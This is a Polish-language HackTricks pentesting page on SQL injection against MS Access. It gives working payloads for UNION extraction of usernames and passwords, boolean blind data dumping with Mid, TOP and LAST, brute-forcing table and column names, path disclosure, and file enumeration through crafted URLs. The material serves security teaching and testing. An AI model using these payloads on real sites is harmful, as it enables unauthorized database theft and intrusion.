hacktricks/src/pentesting-web/sql-injection/ms-access-sql-injection.md

168 lines
7.8 KiB
Markdown

# MS Access SQL Injection
{{#include ../../banners/hacktricks-training.md}}
## Online Playground
- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1)
## Ograniczenia DB
### Konkatenacja ciągów
Konkatenacja ciągów jest możliwa za pomocą znaków `& (%26)` i `+ (%2b)`.
```sql
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
```
### Komentarze
Nie ma komentarzy w MS Access, ale najwyraźniej możliwe jest usunięcie ostatniego znaku zapytania za pomocą znaku NULL:
```sql
1' union select 1,2 from table%00
```
Jeśli to nie działa, zawsze możesz poprawić składnię zapytania:
```sql
1' UNION SELECT 1,2 FROM table WHERE ''='
```
### Stacked Queries
Nie są obsługiwane.
### LIMIT
Operator **`LIMIT`** **nie jest zaimplementowany**. Możliwe jest jednak ograniczenie wyników zapytania SELECT do **pierwszych N wierszy tabeli za pomocą operatora `TOP`**. `TOP` przyjmuje jako argument liczbę całkowitą, reprezentującą liczbę wierszy do zwrócenia.
```sql
1' UNION SELECT TOP 3 attr FROM table%00
```
Podobnie jak TOP, możesz użyć **`LAST`**, który pobierze **wiersze z końca**.
## Zapytania UNION/Zapytania podrzędne
W SQLi zazwyczaj chcesz w jakiś sposób wykonać nowe zapytanie, aby wyodrębnić informacje z innych tabel. MS Access zawsze wymaga, aby w **zapytaniach podrzędnych lub dodatkowych zapytaniach wskazano `FROM`**.\
Więc, jeśli chcesz wykonać `UNION SELECT` lub `UNION ALL SELECT` lub `SELECT` w nawiasach w warunku, zawsze **musisz wskazać `FROM` z ważną nazwą tabeli**.\
Dlatego musisz znać **ważną nazwę tabeli**.
```sql
-1' UNION SELECT username,password from users%00
```
### Łączenie równań + Podciąg
> [!WARNING]
> To pozwoli Ci na wyeksfiltrowanie wartości z bieżącej tabeli bez potrzeby znajomości nazwy tabeli.
**MS Access** pozwala na **dziwną składnię** taką jak **`'1'=2='3'='asd'=false`**. Jak zwykle, SQL injection będzie w klauzuli **`WHERE`**, co możemy wykorzystać.
Wyobraź sobie, że masz SQLi w bazie danych MS Access i wiesz (lub zgadłeś), że jedna **nazwa kolumny to username**, a to jest pole, które chcesz **wyeksfiltrować**. Możesz sprawdzić różne odpowiedzi aplikacji webowej, gdy używana jest technika łączenia równań i potencjalnie wyeksfiltrować zawartość za pomocą **iniekcji logicznej** używając funkcji **`Mid`** do uzyskania podciągów.
```sql
'=(Mid(username,1,3)='adm')='
```
Jeśli znasz **nazwę tabeli** i **kolumny**, które chcesz zrzucić, możesz użyć kombinacji `Mid`, `LAST` i `TOP`, aby **wyciekł wszystkie informacje** za pomocą boolean SQLi:
```sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
```
_Czuj się swobodnie, aby sprawdzić to w internetowym placu zabaw._
### Bruteforcing nazw tabel
Używając techniki łańcuchowego równości, możesz również **bruteforować nazwy tabel** za pomocą czegoś takiego:
```sql
'=(select+top+1+'lala'+from+<table_name>)='
```
Możesz również użyć bardziej tradycyjnego sposobu:
```sql
-1' AND (SELECT TOP 1 <table_name>)%00
```
_Czuj się swobodnie, aby to sprawdzić w internetowym placu zabaw._
- Sqlmap wspólne nazwy tabel: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
- Istnieje inna lista w [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
### Bruteforcing nazw kolumn
Możesz **bruteforować aktualne nazwy kolumn** za pomocą sztuczki z łańcuchowymi równaniami:
```sql
'=column_name='
```
Lub z **group by**:
```sql
-1' GROUP BY column_name%00
```
Lub możesz przeprowadzić atak brute-force na nazwy kolumn **innej tabeli** za pomocą:
```sql
'=(SELECT TOP 1 column_name FROM valid_table_name)='
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
```
### Zrzut danych
Już omówiliśmy [**technikę łączenia równań**](ms-access-sql-injection.md#chaining-equals-+-substring) **do zrzutu danych z bieżącej i innych tabel**. Ale są też inne sposoby:
```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
```
W skrócie, zapytanie używa instrukcji „if-then”, aby wywołać „200 OK” w przypadku sukcesu lub „500 Internal Error” w przeciwnym razie. Wykorzystując operator TOP 10, możliwe jest wybranie pierwszych dziesięciu wyników. Następne użycie LAST pozwala uwzględnić tylko 10-tą krotkę. Na takiej wartości, używając operatora MID, można przeprowadzić prostą porównanie znaków. Odpowiednio zmieniając indeksy MID i TOP, możemy zrzucić zawartość pola „username” dla wszystkich wierszy.
### Czasowe
Sprawdź [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](<https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN>)
### Inne interesujące funkcje
- `Mid('admin',1,1)` pobiera podciąg z pozycji 1 o długości 1 (pozycja początkowa to 1)
- `LEN('1234')` pobiera długość ciągu
- `ASC('A')` pobiera wartość ascii znaku
- `CHR(65)` pobiera ciąg z wartości ascii
- `IIF(1=1,'a','b')` jeśli to, to
- `COUNT(*)` zlicza liczbę elementów
## Enumerowanie tabel
Z [**tutaj**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) możesz zobaczyć zapytanie do uzyskania nazw tabel:
```sql
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name
```
Jednak należy zauważyć, że bardzo typowe jest znalezienie SQL Injection, gdzie **nie masz dostępu do odczytu tabeli `MSysObjects`**.
## Dostęp do systemu plików
### Pełna ścieżka do katalogu głównego serwera WWW
Znajomość **absolutnej ścieżki do katalogu głównego serwera WWW może ułatwić dalsze ataki**. Jeśli błędy aplikacji nie są całkowicie ukryte, ścieżka katalogu może zostać ujawniona podczas próby wyboru danych z nieistniejącej bazy danych.
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
MS Access odpowiada **komunikatem o błędzie zawierającym pełną ścieżkę katalogu WWW**.
### Enumeracja plików
Następujący wektor ataku może być użyty do **wnioskowania o istnieniu pliku w zdalnym systemie plików**. Jeśli określony plik istnieje, MS Access wyzwala komunikat o błędzie informujący, że format bazy danych jest nieprawidłowy:
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
Inny sposób enumeracji plików polega na **określeniu elementu database.table**. **Jeśli** określony **plik istnieje**, MS Access wyświetla **komunikat o błędzie formatu bazy danych**.
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
### Zgadywanie nazwy pliku .mdb
**Nazwę pliku bazy danych (.mdb)** można wnioskować za pomocą następującego zapytania:
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
Gdzie **name\[i] to nazwa pliku .mdb** i **realTable to istniejąca tabela** w bazie danych. Chociaż MS Access zawsze wyzwala komunikat o błędzie, możliwe jest odróżnienie nieprawidłowej nazwy pliku od prawidłowej nazwy pliku .mdb.
### Łamacze haseł .mdb
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) to darmowe narzędzie, które można wykorzystać do odzyskania głównego hasła bazy danych Microsoft Access 95/97/2000/XP lub Jet Database Engine 3.0/4.0.
## Odniesienia
- [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
{{#include ../../banners/hacktricks-training.md}}